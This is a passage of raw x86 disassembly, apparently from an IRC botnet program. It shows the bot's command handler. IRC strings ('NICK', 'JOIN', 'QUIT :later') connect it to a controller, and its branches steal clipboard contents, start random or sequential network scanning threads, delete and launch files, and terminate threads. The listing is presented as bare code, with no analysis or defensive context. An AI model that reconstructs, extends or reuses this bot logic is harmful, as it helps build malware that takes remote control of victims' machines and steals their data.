		mov	ecx, [ebp+var_6BC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_41141F


loc_411406:				; CODE XREF: sub_40CD3A+79Dj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4341D8
		jmp	loc_4108F0
; ---------------------------------------------------------------------------


loc_411417:				; CODE XREF: sub_40CD3A+46EBj
		push	32h
		call	dword_421060	; Sleep


loc_41141F:				; CODE XREF: sub_40CD3A+46CAj
		cmp	[ebp+var_6B0], ebx
		jz	short loc_411417
		jmp	loc_40D68B
; ---------------------------------------------------------------------------


loc_41142C:				; CODE XREF: sub_40CD3A+19EBj
					; sub_40CD3A+1A02j
		push	edi
		call	dword_421118	; DeleteFileA
		test	eax, eax
		jz	short loc_41143F
		push	edi
		push	offset dword_4341A8
		jmp	short loc_41144A
; ---------------------------------------------------------------------------


loc_41143F:				; CODE XREF: sub_40CD3A+46FBj
		push	offset dword_43493C
		call	sub_409B27
		push	eax


loc_41144A:				; CODE XREF: sub_40CD3A+4703j
		lea	eax, [ebp+var_2D8]
		push	200h
		push	eax
		call	sub_41588A


loc_41145B:				; CODE XREF: sub_40CD3A+47E5j
		add	esp, 10h
		jmp	loc_40F526
; ---------------------------------------------------------------------------


loc_411463:				; CODE XREF: sub_40CD3A+19BDj
					; sub_40CD3A+19D4j
		push	edi
		call	sub_41587F
		push	eax
		call	sub_413EDB
		xor	esi, esi
		pop	ecx
		inc	esi
		pop	ecx
		cmp	eax, esi
		push	edi
		lea	eax, [ebp+var_2D8]
		jnz	short loc_411486
		push	offset dword_434170
		jmp	short loc_41148B
; ---------------------------------------------------------------------------


loc_411486:				; CODE XREF: sub_40CD3A+4743j
		push	offset dword_434128


loc_41148B:				; CODE XREF: sub_40CD3A+474Aj
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_40F54A
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h
		jmp	loc_40F54A
; ---------------------------------------------------------------------------


loc_4114BE:				; CODE XREF: sub_40CD3A+198Fj
					; sub_40CD3A+19A6j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_413C50
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_4114E0
		push	offset dword_4340EC
		jmp	loc_40F517
; ---------------------------------------------------------------------------


loc_4114E0:				; CODE XREF: sub_40CD3A+479Aj
		push	offset dword_4340A8
		jmp	loc_40F517
; ---------------------------------------------------------------------------


loc_4114EA:				; CODE XREF: sub_40CD3A+1961j
					; sub_40CD3A+1978j
		push	edi
		call	dword_43C594
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_411524
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_43C50C
		cmp	eax, ebx
		jz	short loc_41153F
		push	dword ptr [eax]


loc_41150D:				; CODE XREF: sub_40CD3A+4803j
		push	edi
		lea	eax, [ebp+var_2D8]
		push	offset dword_434078
		push	eax
		call	sub_415316
		jmp	loc_41145B
; ---------------------------------------------------------------------------


loc_411524:				; CODE XREF: sub_40CD3A+47BDj
		push	edi
		call	dword_43C5D8
		cmp	eax, ebx
		jz	short loc_41153F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_43C5E0
		push	eax
		jmp	short loc_41150D
; ---------------------------------------------------------------------------


loc_41153F:				; CODE XREF: sub_40CD3A+47CFj
					; sub_40CD3A+47F3j
		push	offset dword_43403C
		jmp	loc_40EDBE
; ---------------------------------------------------------------------------


loc_411549:				; CODE XREF: sub_40CD3A+1933j
					; sub_40CD3A+194Aj
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_416BE0
		push	edi
		lea	eax, [ebp+var_2D8]
		push	offset dword_434004
		push	eax
		call	sub_415316
		add	esp, 18h
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_41156E:				; CODE XREF: sub_40CD3A+1905j
					; sub_40CD3A+191Cj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43C4C8
		test	eax, eax
		push	edi
		jz	short loc_41158E
		push	offset unk_433FD4
		jmp	loc_40F517
; ---------------------------------------------------------------------------


loc_41158E:				; CODE XREF: sub_40CD3A+4848j
		push	offset unk_433F9C
		jmp	loc_40F517
; ---------------------------------------------------------------------------


loc_411598:				; CODE XREF: sub_40CD3A+18D7j
					; sub_40CD3A+18EEj
		mov	al, [edi]
		mov	byte_42C260, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset dword_433F64
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_4115AD:				; CODE XREF: sub_40CD3A+18A9j
					; sub_40CD3A+18C0j
		push	edi
		call	sub_41587F
		test	eax, eax
		pop	ecx
		jle	loc_412818
		push	edi
		call	sub_41587F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_412818
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_414278
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_43467C
		push	eax
		call	sub_415316
		add	esp, 1Ch
		jmp	loc_410CD0
; ---------------------------------------------------------------------------


loc_4115F8:				; CODE XREF: sub_40CD3A+187Bj
					; sub_40CD3A+1892j
		push	edi
		call	sub_41587F
		test	eax, eax
		pop	ecx
		jle	loc_40D18F
		push	edi
		call	sub_41587F
		cmp	eax, 12Ch
		pop	ecx
		jge	loc_40D18F
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		push	dword_4416D4[eax]
		call	sub_412B8B
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_421060	; Sleep
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		push	dword_4416D4[eax]
		call	dword_43C5EC
		push	[ebp+var_10]
		push	edi
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		push	dword_4416DC[eax]
		call	dword_421130	; TerminateThread
		push	edi
		call	sub_41587F
		imul	eax, 234h
		push	edi
		mov	dword_4416DC[eax], ebx
		call	sub_41587F
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_4414C8[eax], bl
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_4116A3:				; CODE XREF: sub_40CD3A+184Dj
					; sub_40CD3A+1864j
		push	edi
		push	offset aAll	; "all"
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4116D2
		call	sub_414F9D
		cmp	eax, ebx
		jle	short loc_4116C8
		push	eax
		push	offset dword_433F14
		jmp	loc_40F5C3
; ---------------------------------------------------------------------------


loc_4116C8:				; CODE XREF: sub_40CD3A+4981j
		push	offset dword_433ED8
		jmp	loc_411EB9
; ---------------------------------------------------------------------------


loc_4116D2:				; CODE XREF: sub_40CD3A+4978j
		mov	eax, [ebp+var_A8]
		lea	esi, [eax+1]
		jmp	short loc_411749
; ---------------------------------------------------------------------------


loc_4116DD:				; CODE XREF: sub_40CD3A+4A12j
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40D18F
		push	edi
		call	sub_41587F
		push	eax
		call	sub_414F15
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		lea	eax, [ebp+var_2D8]
		jz	short loc_41170C
		push	offset dword_433EA0
		jmp	short loc_411711
; ---------------------------------------------------------------------------


loc_41170C:				; CODE XREF: sub_40CD3A+49C9j
		push	offset dword_433E60


loc_411711:				; CODE XREF: sub_40CD3A+49D0j
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_41173B
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_41173B:				; CODE XREF: sub_40CD3A+49E3j
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078
		pop	ecx
		inc	esi


loc_411749:				; CODE XREF: sub_40CD3A+49A1j
		cmp	esi, 20h
		jb	short loc_4116DD
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_411753:				; CODE XREF: sub_40CD3A+181Fj
					; sub_40CD3A+1836j
		cmp	[ebp+var_C], ebx
		jz	loc_412818
		push	edi
		push	[ebp+var_C]
		call	sub_4158E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_412818
		push	esi
		push	offset dword_425090
		push	[ebp+arg_4]
		call	sub_412B8B
		push	esi
		push	offset dword_433E34
		jmp	short loc_4117D1
; ---------------------------------------------------------------------------


loc_411787:				; CODE XREF: sub_40CD3A+17F1j
					; sub_40CD3A+1808j
		push	edi
		push	offset dword_43459C
		push	[ebp+arg_4]
		call	sub_412B8B
		push	edi
		push	offset dword_433E00
		jmp	short loc_4117D1
; ---------------------------------------------------------------------------


loc_41179D:				; CODE XREF: sub_40CD3A+17C3j
					; sub_40CD3A+17DAj
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	edi
		push	offset dword_433DCC
		jmp	loc_410D83
; ---------------------------------------------------------------------------


loc_4117BD:				; CODE XREF: sub_40CD3A+1795j
					; sub_40CD3A+17ACj
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412B8B
		push	edi
		push	offset dword_433D94


loc_4117D1:				; CODE XREF: sub_40CD3A+4172j
					; sub_40CD3A+4A4Bj ...
		call	sub_40B0EC


loc_4117D6:				; CODE XREF: sub_40CD3A+41D8j
		add	esp, 14h
		jmp	loc_412818
; ---------------------------------------------------------------------------


loc_4117DE:				; CODE XREF: sub_40CD3A+175Aj
					; sub_40CD3A+176Fj
		mov	al, byte_4276EE
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4276EE
		jz	loc_40D18F
		mov	ecx, edx


loc_4117F5:				; CODE XREF: sub_40CD3A+4AC3j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4117F5
		cmp	al, bl
		jz	loc_40D18F
		mov	[ebp+arg_18], edx


loc_41180A:				; CODE XREF: sub_40CD3A+4D7Cj
		push	8
		call	sub_41501C
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 12Ch
		jle	short loc_411859
		push	ecx
		lea	eax, [ebp+var_2D8]
		push	offset dword_434F78
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 20h
		jmp	loc_411AAD
; ---------------------------------------------------------------------------


loc_411859:				; CODE XREF: sub_40CD3A+4AEAj
		or	[ebp+var_458], 0FFFFFFFFh
		cmp	dword_427388, ebx
		mov	[ebp+var_45C], 1Eh
		mov	[ebp+var_470], 7
		mov	[ebp+var_46C], 0B4h
		mov	[ebp+arg_0], ebx
		jz	short loc_4118CA
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_427388
		lea	esi, [eax-0Ah]


loc_411894:				; CODE XREF: sub_40CD3A+4B72j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4118B0
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_411894
		jmp	short loc_4118CA
; ---------------------------------------------------------------------------


loc_4118B0:				; CODE XREF: sub_40CD3A+4B68j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_458], eax
		imul	ecx, 3Ch
		mov	ecx, dword_427388[ecx]
		mov	[ebp+var_474], ecx


loc_4118CA:				; CODE XREF: sub_40CD3A+4B4Dj
					; sub_40CD3A+4B74j
		cmp	[ebp+var_474], ebx
		jz	loc_411AD3
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_43C4F8
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_CC], eax
		push	[ebp+var_CC]
		call	dword_43C5E0
		push	eax
		lea	eax, [ebp+var_588]
		push	eax
		call	sub_416BE0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_588]
		push	eax
		call	sub_416EE0
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_41196C


loc_41194A:				; CODE XREF: sub_40CD3A+4C30j
		cmp	eax, ebx
		jz	short loc_41196C
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_588]
		push	30h
		push	eax
		call	sub_416EE0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_41194A


loc_41196C:				; CODE XREF: sub_40CD3A+4C0Ej
					; sub_40CD3A+4C12j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_478], eax
		mov	eax, [ebp+var_8]
		mov	edi, 80h
		mov	[ebp+var_44C], eax
		lea	eax, [ebp+var_578]
		push	edi
		push	eax
		mov	[ebp+var_448], 1
		mov	[ebp+var_450], esi
		call	sub_41588A
		push	offset byte_43B188
		push	offset dword_42C304
		call	sub_415730
		add	esp, 14h
		test	eax, eax
		jz	short loc_4119D6
		push	offset dword_42C304
		lea	eax, [ebp+var_4F8]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 0Ch
		jmp	short loc_4119DC
; ---------------------------------------------------------------------------


loc_4119D6:				; CODE XREF: sub_40CD3A+4C83j
		mov	[ebp+var_4F8], bl


loc_4119DC:				; CODE XREF: sub_40CD3A+4C9Aj
		cmp	[ebp+var_448], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_4119EE
		mov	eax, offset aSequential	; "Sequential"


loc_4119EE:				; CODE XREF: sub_40CD3A+4CADj
		push	[ebp+var_45C]
		lea	ecx, [ebp+var_588]
		push	[ebp+var_46C]
		push	[ebp+var_470]
		push	[ebp+var_474]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_433D18
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	8
		push	eax
		call	sub_414DDA
		add	esp, 2Ch
		mov	[ebp+var_468], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_588]
		push	ebx
		push	eax
		push	offset sub_4078DF
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_468]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_411AC9
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_434E48
		push	eax
		call	sub_415316
		add	esp, 0Ch


loc_411A81:				; CODE XREF: sub_40CD3A+4D97j
		cmp	[ebp+var_8], ebx
		jnz	short loc_411AA0
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_411AA0:				; CODE XREF: sub_40CD3A+4D4Aj
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078
		pop	ecx


loc_411AAD:				; CODE XREF: sub_40CD3A+4B1Aj
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_41180A
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_411AC1:				; CODE XREF: sub_40CD3A+4D95j
		push	32h
		call	dword_421060	; Sleep


loc_411AC9:				; CODE XREF: sub_40CD3A+4D2Aj
		cmp	[ebp+var_444], ebx
		jz	short loc_411AC1
		jmp	short loc_411A81
; ---------------------------------------------------------------------------


loc_411AD3:				; CODE XREF: sub_40CD3A+2F3Fj
					; sub_40CD3A+4B96j
		push	offset dword_433CC8
		jmp	loc_40F8E8
; ---------------------------------------------------------------------------


loc_411ADD:				; CODE XREF: sub_40CD3A+1730j
					; sub_40CD3A+1745j
		push	4
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jle	short loc_411AF3
		push	offset unk_433C94
		jmp	loc_40F8E8
; ---------------------------------------------------------------------------


loc_411AF3:				; CODE XREF: sub_40CD3A+4DADj
		mov	eax, [ebp+esi+var_90]
		mov	edi, 104h
		cmp	eax, ebx
		jz	short loc_411B16
		push	eax
		lea	eax, [ebp+var_1428]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 0Ch
		jmp	short loc_411B25
; ---------------------------------------------------------------------------


loc_411B16:				; CODE XREF: sub_40CD3A+4DC7j
		lea	eax, [ebp+var_1428]
		push	edi
		push	eax
		push	ebx
		call	dword_42107C	; GetModuleFileNameA


loc_411B25:				; CODE XREF: sub_40CD3A+4DDAj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_411B35
		mov	esi, offset byte_42C2BC


loc_411B35:				; CODE XREF: sub_40CD3A+4DF4j
		push	esi
		lea	eax, [ebp+var_1324]
		push	edi
		push	eax
		call	sub_41588A
		mov	eax, dword_42C24C
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_1218],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_121C],	ebx
		mov	[ebp+var_142C],	eax
		lea	eax, [ebp+var_1214]
		push	eax
		call	sub_416BE0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1194],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1190],	eax
		lea	eax, [ebp+var_1324]
		push	eax
		lea	eax, [ebp+var_1428]
		push	eax
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_1218]
		push	offset unk_427950
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	sub_414DDA
		add	esp, 38h
		mov	[ebp+var_1220],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_142C]
		push	ebx
		push	eax
		push	offset sub_406B84
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_1220]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_411C08
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_433C48
		jmp	loc_40EAFE
; ---------------------------------------------------------------------------


loc_411C00:				; CODE XREF: sub_40CD3A+4ED4j
		push	32h
		call	dword_421060	; Sleep


loc_411C08:				; CODE XREF: sub_40CD3A+4EB3j
		cmp	[ebp+var_118C],	ebx
		jz	short loc_411C00
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_411C15:				; CODE XREF: sub_40CD3A+1706j
					; sub_40CD3A+171Bj
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_411C34
		push	edi
		call	sub_41587F
		test	eax, eax
		pop	ecx
		jz	short loc_411C34
		push	edi
		call	sub_41587F
		pop	ecx
		jmp	short loc_411C39
; ---------------------------------------------------------------------------


loc_411C34:				; CODE XREF: sub_40CD3A+4EE4j
					; sub_40CD3A+4EEFj
		mov	eax, dword_42C250


loc_411C39:				; CODE XREF: sub_40CD3A+4EF8j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_B1C], eax
		jz	short loc_411C6C
		lea	eax, [ebp+var_C34]
		push	esi
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	short loc_411C97
; ---------------------------------------------------------------------------


loc_411C6C:				; CODE XREF: sub_40CD3A+4F1Fj
		lea	eax, [ebp+var_A80]
		push	104h
		push	eax
		call	dword_421058	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_CC]
		push	ebx
		push	eax
		lea	eax, [ebp+var_A80]
		push	eax
		call	sub_4171E8
		add	esp, 14h


loc_411C97:				; CODE XREF: sub_40CD3A+4F30j
		lea	eax, [ebp+var_C34]
		push	eax
		call	sub_415B10
		cmp	[ebp+eax+var_C35], 5Ch
		pop	ecx
		jnz	short loc_411CC2
		lea	eax, [ebp+var_C34]
		push	eax
		call	sub_415B10
		pop	ecx
		mov	[ebp+eax+var_C35], bl


loc_411CC2:				; CODE XREF: sub_40CD3A+4F72j
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_EBC]
		mov	[ebp+var_EC0], esi
		push	80h
		push	eax
		call	sub_41588A
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_B20], eax
		lea	eax, [ebp+var_C34]
		mov	[ebp+var_B24], edi
		push	eax
		push	[ebp+var_B30]
		push	esi
		call	sub_40A08A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset unk_427818
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	3
		push	eax
		call	sub_414DDA
		add	esp, 20h
		mov	[ebp+var_B28], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC0]
		push	ebx
		push	eax
		push	offset sub_405A96
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_B28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4416DC[ecx], eax
		jnz	short loc_411DA5
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_433BF8


loc_411D70:				; CODE XREF: sub_40CD3A+343Fj
					; sub_40CD3A+3538j
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		add	esp, 0Ch


loc_411D7F:				; CODE XREF: sub_40CD3A+3454j
					; sub_40CD3A+354Dj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40D68B
		push	ebx
		push	edi


loc_411D8A:				; CODE XREF: sub_40CD3A+3887j
		lea	eax, [ebp+var_2D8]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_40F913
; ---------------------------------------------------------------------------


loc_411D9D:				; CODE XREF: sub_40CD3A+5071j
		push	32h
		call	dword_421060	; Sleep


loc_411DA5:				; CODE XREF: sub_40CD3A+5028j
		cmp	[ebp+var_B14], ebx
		jz	short loc_411D9D
		jmp	short loc_411D7F
; ---------------------------------------------------------------------------


loc_411DAF:				; CODE XREF: sub_40CD3A+16DCj
					; sub_40CD3A+16F1j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_411DC2
		push	esi
		call	sub_41587F
		jmp	short loc_411DC9
; ---------------------------------------------------------------------------


loc_411DC2:				; CODE XREF: sub_40CD3A+507Ej
		push	8
		call	sub_41503B


loc_411DC9:				; CODE XREF: sub_40CD3A+5086j
		cmp	eax, ebx
		pop	ecx
		jz	loc_412818
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40713F
		jmp	loc_41229A
; ---------------------------------------------------------------------------


loc_411DE9:				; CODE XREF: sub_40CD3A+16B2j
					; sub_40CD3A+16C7j
		mov	eax, dword_43C47C
		cmp	eax, ebx
		jz	short loc_411E0C
		call	eax
		test	eax, eax
		lea	eax, [ebp+var_2D8]
		jz	short loc_411E05
		push	offset unk_433BC0
		jmp	short loc_411E2D
; ---------------------------------------------------------------------------


loc_411E05:				; CODE XREF: sub_40CD3A+50C2j
		push	offset unk_433B80
		jmp	short loc_411E2D
; ---------------------------------------------------------------------------


loc_411E0C:				; CODE XREF: sub_40CD3A+50B6j
		push	offset unk_433B40
		lea	eax, [ebp+var_2D8]
		jmp	short loc_411E2D
; ---------------------------------------------------------------------------


loc_411E19:				; CODE XREF: sub_40CD3A+1688j
					; sub_40CD3A+169Dj
		call	sub_409FB2
		test	eax, eax
		lea	eax, [ebp+var_2D8]
		jz	short loc_411E3D
		push	offset unk_433B08


loc_411E2D:				; CODE XREF: sub_40CD3A+50C9j
					; sub_40CD3A+50D0j ...
		push	200h
		push	eax
		call	sub_41588A
		jmp	loc_40F523
; ---------------------------------------------------------------------------


loc_411E3D:				; CODE XREF: sub_40CD3A+50ECj
		push	offset unk_433AC8
		jmp	short loc_411E2D
; ---------------------------------------------------------------------------


loc_411E44:				; CODE XREF: sub_40CD3A+165Ej
					; sub_40CD3A+1673j
		cmp	[ebp+var_8], ebx
		jnz	short loc_411E63
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h


loc_411E63:				; CODE XREF: sub_40CD3A+510Dj
		push	ebx
		push	[ebp+var_4]
		call	sub_409BB1
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		push	offset dword_433A84
		jmp	loc_412167
; ---------------------------------------------------------------------------


loc_411E85:				; CODE XREF: sub_40CD3A+1584j
					; sub_40CD3A+1599j
		push	7
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jle	short loc_411E98
		push	offset dword_433A48
		jmp	short loc_411EB9
; ---------------------------------------------------------------------------


loc_411E98:				; CODE XREF: sub_40CD3A+5155j
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40A71A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_411EB4
		push	offset dword_433A0C
		jmp	short loc_411EB9
; ---------------------------------------------------------------------------


loc_411EB4:				; CODE XREF: sub_40CD3A+5171j
		push	offset dword_4339D8


loc_411EB9:				; CODE XREF: sub_40CD3A+4993j
					; sub_40CD3A+515Cj ...
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	loc_40F5D2
; ---------------------------------------------------------------------------


loc_411ECC:				; CODE XREF: sub_40CD3A+155Aj
					; sub_40CD3A+156Fj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4095A9
		jmp	loc_412188
; ---------------------------------------------------------------------------


loc_411EE5:				; CODE XREF: sub_40CD3A+1530j
					; sub_40CD3A+1545j
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40C409
		jmp	loc_412188
; ---------------------------------------------------------------------------


loc_411F02:				; CODE XREF: sub_40CD3A+1506j
					; sub_40CD3A+151Bj
		or	edi, 0FFFFFFFFh
		call	dword_42104C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_411F2B
		push	esi
		call	sub_41587F
		pop	ecx
		mov	edi, eax


loc_411F2B:				; CODE XREF: sub_40CD3A+51E6j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_411F44
		cmp	edi, 0FFFFFFFFh
		jnz	loc_412818


loc_411F44:				; CODE XREF: sub_40CD3A+51FFj
		push	ebx
		call	sub_40A8CF
		push	eax
		lea	eax, [ebp+var_2D8]
		push	offset dword_4339AC
		push	eax
		call	sub_415316
		push	ebx
		lea	eax, [ebp+var_2D8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412BD1
		lea	eax, [ebp+var_2D8]
		push	eax
		call	sub_40B078


loc_411F81:				; CODE XREF: sub_40CD3A+328Dj
		add	esp, 28h
		jmp	loc_412818
; ---------------------------------------------------------------------------


loc_411F89:				; CODE XREF: sub_40CD3A+14DCj
					; sub_40CD3A+14F1j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_408503
		lea	eax, [ebp+var_2D8]
		push	offset unk_433978
		push	eax
		call	sub_415316


loc_411FAB:				; CODE XREF: sub_40CD3A+3AAAj
		add	esp, 14h
		jmp	loc_40F8F6
; ---------------------------------------------------------------------------


loc_411FB3:				; CODE XREF: sub_40CD3A+14B2j
					; sub_40CD3A+14C7j
		push	1Eh
		call	sub_41501C
		test	eax, eax
		pop	ecx
		jle	short loc_411FE7
		cmp	[ebp+var_8], ebx
		jnz	loc_40D18F
		push	ebx
		push	[ebp+var_4]
		push	offset dword_433944
		push	[ebp+var_8C]


loc_411FD7:				; CODE XREF: sub_40CD3A+8D9j
		push	[ebp+arg_4]
		call	sub_412BD1
		add	esp, 14h
		jmp	loc_40D18F
; ---------------------------------------------------------------------------


loc_411FE7:				; CODE XREF: sub_40CD3A+5283j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_36C]
		push	80h
		push	eax
		call	sub_41588A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_370], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2E4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
